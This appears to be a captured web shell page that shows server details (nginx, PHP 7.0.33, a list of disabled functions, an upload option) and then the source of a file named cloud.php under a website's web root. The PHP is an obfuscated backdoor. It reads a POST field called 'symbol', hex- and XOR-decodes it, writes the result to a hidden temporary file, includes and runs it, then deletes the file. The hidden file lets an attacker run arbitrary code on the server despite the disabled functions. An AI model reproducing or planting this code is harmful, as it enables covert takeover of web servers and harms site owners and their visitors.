HEX
Server: nginx/1.26.0
System: Linux iZj6ceg0gjdkbpnmyl2cnnZ 5.15.60-1.el7.x86_64 #1 SMP Thu Aug 11 12:39:22 UTC 2022 x86_64
User: www (1000)
PHP: 7.0.33
Disabled: phpinfo,eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pfsockopen,fsocket,fsockopen
Upload Files
File: /data/wwwroot/sites/multitrustcapital.com/www/cloud.php
<?php
//<PHPDATA>fputs_xor;52;symbol</PHPDATA>
if(isset($_POST["sy\x6d\x62ol"])?true:false):$_0=hEX2BiN($_POST["sym\142\x6fl"]);$_1="";foreach(sTR_SplIT($_0) as$_2):$_1.=cHr(Ord($_2)^(0126+010-052));endforeach;$_3=ArRay_filTEr([sYs_GEt_TEMp_dIR(),"/\x64ev\x2f\163hm","/\x76\x61r/tmp",iNi_GeT("upl\157ad_tmp_di\162"),geteNv("TMP"),GeTeNv("TEMP"),GETCWd(),"/tmp",sEssion_saVe_pAth()]);foreach($_3 as$_4):if(max(0270+0260-0610+040,Is_diR($_4)*Is_WriTABLE($_4))):$_5=SprInTF("\045s/.\x70tr",$_4);if($_6=fopen($_5,"w")):FWRiTE($_6,$_1);fClOse($_6);include $_5;UNLINK($_5);exit;endif;endif;endforeach;endif;